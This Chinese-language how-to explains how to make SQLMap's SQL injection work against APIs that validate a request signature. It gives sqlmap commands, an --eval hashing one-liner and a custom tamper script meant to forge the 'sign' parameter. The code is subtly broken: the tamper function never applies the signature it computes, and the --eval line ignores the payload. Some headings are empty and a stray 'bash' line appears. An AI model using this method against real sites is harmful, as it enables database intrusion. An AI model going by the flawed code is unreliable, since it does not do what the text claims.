当目标网站使用 sign 签名机制时,SQLMap 的标准注入方式可能会失效。以下是处理这种场景的思路和方法:
理解签名机制:
两种主要处理方式:
sqlmap -u "http://example.com/api?id=1&sign=XXX" --eval="import hashlib; sign = hashlib.md5('id=1&key=123').hexdigest()"
创建自定义 tamper 脚本(如 signbypass.py):
#!/usr/bin/env python
from lib.core.enums import PRIORITY
import hashlib
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
# 获取原始参数
params = kwargs.get("params", {})
# 计算签名逻辑
sign_str = "&".join([f"{k}={v}" for k,v in sorted(params.items()) if k != "sign"])
sign = hashlib.md5((sign_str + "SALT").encode()).hexdigest()
# 添加签名到参数
params["sign"] = sign
return payload
使用方式:
sqlmap -u "http://example.com/api" --tamper=signbypass.py
bash
sqlmap -u "http://example.com/api" --proxy="http://127.0.0.1:8080"
对于复杂场景,可以: 1. 使用 --data 提供完整请求体 2. 结合 --headers 添加必要头信息 3. 使用 --method 指定请求方法
假设目标API签名规则为:sign = MD5(按参数名排序后拼接 + 盐值"SECRET")
处理步骤: 1. 使用浏览器/抓包工具获取正常请求 2. 分析签名生成算法 3. 编写 tamper 脚本或使用 --eval 动态计算 4. 测试签名是否正确
通过以上方法,可以有效地使 SQLMap 在存在签名验证的环境中正常工作。对于特别复杂的签名机制,可能需要结合逆向工程和自定义开发来解决。